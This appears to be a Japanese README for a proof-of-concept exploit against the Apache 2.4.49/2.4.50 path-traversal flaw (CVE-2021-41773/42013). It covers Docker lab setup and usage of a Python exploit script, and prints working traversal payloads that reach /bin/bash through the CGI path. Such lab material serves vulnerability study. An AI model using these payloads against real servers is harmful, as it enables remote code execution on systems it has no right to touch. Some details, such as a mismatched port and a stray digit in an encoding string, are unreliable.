
Apache HTTP Server 2.4.49/2.4.50のパストラバーサルの脆弱性(CVE-2021-41773)に対する概念実証エクスプロイト。CGIスクリプトを介したリモートコード実行を可能にします。Dockerベースの再現環境とPythonエクスプロイトスクリプトを含みます。
Apache HTTP Server 2.4.49のパス正規化における変更に欠陥が見つかりました。攻撃者はパストラバーサル攻撃を利用して、Alias系ディレクティブで設定されたディレクトリ外のファイルにURLをマッピングする可能性があります。これらのディレクトリ外のファイルがデフォルト設定の「require all denied」で保護されていない場合、リクエストが成功する可能性があります。また、これらのエイリアスパスでCGIスクリプトが有効になっている場合、リモートコード実行につながる可能性があります。この問題は実際に悪用されていることが確認されています。この問題はApache 2.4.49にのみ影響し、それ以前のバージョンには影響しません。Apache HTTP Server 2.4.50での修正は不完全でした。CVE-2021-42013を参照してください。
pip3 install coloramaでインストール)perl CGIスクリプトの例脆弱なApache httpd(デフォルト設定)をdocker/podmanコンテナとして起動します。
| Dockerfile | コンテナ | バージョン |
|---|---|---|
| Dockerfile2449 | vulnapache2449 | 2.4.49 |
| Dockerfile2450 | vulnapache2450 | 2.4.50 |
chmod +x ./build.sh
1.2 ./build.shchmod +x ./run.sh
2.2 ./run.shcurl localhost:2449/cgi-bin/hello.pl
3.2 curl localhost:2450/cgi-bin/hello.pl| コンテナ | リッスンポート |
|---|---|
| vulnapache2449 | 2449 |
| vulnapache2450 | 2450 |
python3 main.py localhost:4249
1.2 バージョン2.4.49に対する攻撃を選択
1.3 python3 main.py localhost:2450
1.4 バージョン2.4.50に対する攻撃を選択
エクスプロイトはApache httpdのCGIモジュールを利用し、パストラバーサルを通じて任意の実行ファイルの実行を可能にします。
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash.%2e/ はURLエンコードされており、デコードされると ../ と等価です。
.%%32%658 は二重URLエンコードされており、デコードされると同様に ../ と等価です。